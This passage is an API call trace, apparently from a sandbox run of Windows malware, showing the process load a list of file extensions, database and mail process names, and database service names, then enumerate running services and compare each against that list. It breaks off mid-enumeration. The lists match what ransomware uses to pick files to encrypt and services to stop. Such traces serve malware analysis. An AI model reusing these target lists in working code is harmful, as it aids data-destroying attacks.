	[0150.959] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0150.959] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b65f0
	[0150.959] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5b7fe0
	[0150.959] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7fe0, Size=0x20) returned 0x5aaed8
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5aaed8, Size=0x40) returned 0x5b7700
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7700, Size=0x80) returned 0x5b26a0
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b26a0, Size=0x100) returned 0x5b7c10
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x34) returned 0x5ba330
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b6e00
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b6d00
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b6d10
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b7e60
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b6d40
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b7d70
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b6d40, Size=0x8) returned 0x5b6d50
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b7fe0
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b6d50, Size=0x10) returned 0x5b7e90
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b7de8
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b7ec0
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7e90, Size=0x20) returned 0x5aaed8
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b7e90
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b7ed8
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b6e00, Size=0x8) returned 0x5b6d50
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b6d00, Size=0x8) returned 0x5b6d40
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b6d00
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b7ef0
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b6d90
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b8058
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b6d90, Size=0x8) returned 0x5b6dd0
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b80e8
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b6dd0, Size=0x10) returned 0x5b8100
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b8118
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b6dd0
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b8100, Size=0x20) returned 0x5ddd68
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b6d50, Size=0x10) returned 0x5b80a0
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b6d40, Size=0x10) returned 0x5b80b8
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b6d40
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b80d0
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b6d50
	[0150.960] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b8100
	[0150.960] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b6d50, Size=0x8) returned 0x5b6d90
	[0150.961] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b6d50
	[0150.961] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b8130
	[0150.961] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b6e00
	[0150.961] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b8070
	[0150.961] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b6e00, Size=0x8) returned 0x5de2e8
	[0150.961] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b80a0, Size=0x20) returned 0x5dd8e0
	[0150.961] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b80b8, Size=0x20) returned 0x5ddca0
	[0150.961] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de2f8
	[0150.961] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b8088
	[0150.961] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de428
	[0150.961] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5b80a0
	[0150.961] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de428, Size=0x8) returned 0x5de2d8
	[0150.961] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b6490
	[0150.961] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b6810
	[0150.961] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0150.961] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7c10 | out: hHeap=0x5a0000) returned 1
	[0150.961] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0150.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5b80b8
	[0150.967] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b80b8, Size=0x20) returned 0x5ddc00
	[0150.967] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddc00, Size=0x40) returned 0x5b7670
	[0150.967] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7670, Size=0x80) returned 0x5b8578
	[0150.967] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b8578, Size=0x100) returned 0x5b8578
	[0150.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5b80b8
	[0150.967] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b80b8, Size=0x20) returned 0x5ddc78
	[0150.967] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddc78, Size=0x40) returned 0x5b7af0
	[0150.967] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7af0, Size=0x80) returned 0x5e2fe8
	[0150.967] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2fe8, Size=0x100) returned 0x5e2fe8
	[0150.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5b80b8
	[0150.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de448
	[0150.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3228
	[0150.967] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de448, Size=0x8) returned 0x5de3f8
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b64b0
	[0150.968] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de3f8, Size=0x10) returned 0x5e3408
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b64d0
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5dd9a8
	[0150.968] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3408, Size=0x20) returned 0x5dda20
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1c) returned 0x5ddd18
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x16) returned 0x5b6750
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5dd8b8
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e3378
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de368
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40) returned 0x5b7700
	[0150.968] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de368, Size=0x8) returned 0x5de458
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x3c) returned 0x5b7430
	[0150.968] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de458, Size=0x10) returned 0x5e31b0
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b6650
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b6470
	[0150.968] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e31b0, Size=0x20) returned 0x5dda48
	[0150.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x5b5520
	[0150.968] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0150.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b8578 | out: hHeap=0x5a0000) returned 1
	[0150.968] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0150.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2fe8 | out: hHeap=0x5a0000) returned 1
	[0150.968] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5ddae8
	[0150.984] EnumServicesStatusExW (in: hSCManager=0x5ddae8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0150.986] GetLastError () returned 0xea
	[0150.986] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1b78) returned 0x5e52e8
	[0150.986] EnumServicesStatusExW (in: hSCManager=0x5ddae8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e52e8, cbBufSize=0x1b78, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e52e8, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0150.987] CloseServiceHandle (hSCObject=0x5ddae8) returned 1
	[0150.987] lstrlenW (lpString="AppXSvc") returned 7
	[0150.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0150.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0150.993] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0150.993] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0150.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0150.993] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0150.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0150.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0150.993] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0150.993] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0150.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0150.993] lstrlenW (lpString="Audiosrv") returned 8
	[0150.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0150.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0150.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0150.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0150.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0150.993] lstrlenW (lpString="BFE") returned 3
	[0150.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0150.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0150.993] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0150.993] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0150.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0150.993] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0150.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0150.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0150.993] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0150.993] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0150.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0150.993] lstrlenW (lpString="CDPSvc") returned 6
	[0150.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0150.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0150.994] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0150.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0150.994] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0150.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0150.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0150.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0150.994] lstrlenW (lpString="CryptSvc") returned 8
	[0150.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0150.994] lstrlenW (lpString="DcomLaunch") returned 10
	[0150.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0150.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0150.994] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0150.994] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0150.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0150.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0150.994] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0150.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0150.994] lstrlenW (lpString="Dhcp") returned 4
	[0150.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0150.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0150.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0150.995] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0150.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0150.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0150.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0150.995] lstrlenW (lpString="Dnscache") returned 8
	[0150.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0150.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0150.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0150.995] lstrlenW (lpString="DPS") returned 3
	[0150.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0150.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0150.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0150.995] lstrlenW (lpString="DusmSvc") returned 7
	[0150.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0150.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0150.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0150.995] lstrlenW (lpString="EventLog") returned 8
	[0150.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0150.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0150.995] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0150.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0150.995] lstrlenW (lpString="EventSystem") returned 11
	[0150.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0150.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0150.996] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0150.996] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0150.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0150.996] lstrlenW (lpString="FontCache") returned 9
	[0150.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0150.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0150.996] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0150.996] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0150.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0150.996] lstrlenW (lpString="gpsvc") returned 5
	[0150.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0150.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0150.996] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0150.996] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0150.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0150.996] lstrlenW (lpString="iphlpsvc") returned 8
	[0150.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0150.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0150.996] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0150.996] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0150.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0150.996] lstrlenW (lpString="KeyIso") returned 6
	[0150.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0150.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0150.996] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0150.996] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0150.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0150.996] lstrlenW (lpString="LanmanServer") returned 12
	[0150.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0150.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0150.996] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0150.996] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0150.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0150.996] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0150.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0150.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0150.997] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0150.997] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0150.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0150.997] lstrlenW (lpString="lfsvc") returned 5
	[0150.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0150.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0150.997] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0150.997] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0150.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0150.997] lstrlenW (lpString="lmhosts") returned 7
	[0150.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0150.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0150.997] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0150.997] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0150.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0150.997] lstrlenW (lpString="LSM") returned 3
	[0150.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0150.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0150.997] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0150.997] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0150.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0150.997] lstrlenW (lpString="MpsSvc") returned 6
	[0150.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0150.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0150.997] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0150.997] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0150.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0150.997] lstrlenW (lpString="NcbService") returned 10
	[0150.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0150.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0150.997] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0150.997] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0150.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0150.997] lstrlenW (lpString="netprofm") returned 8
	[0150.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0150.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0150.998] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0150.998] lstrlenW (lpString="NgcSvc") returned 6
	[0150.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0150.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
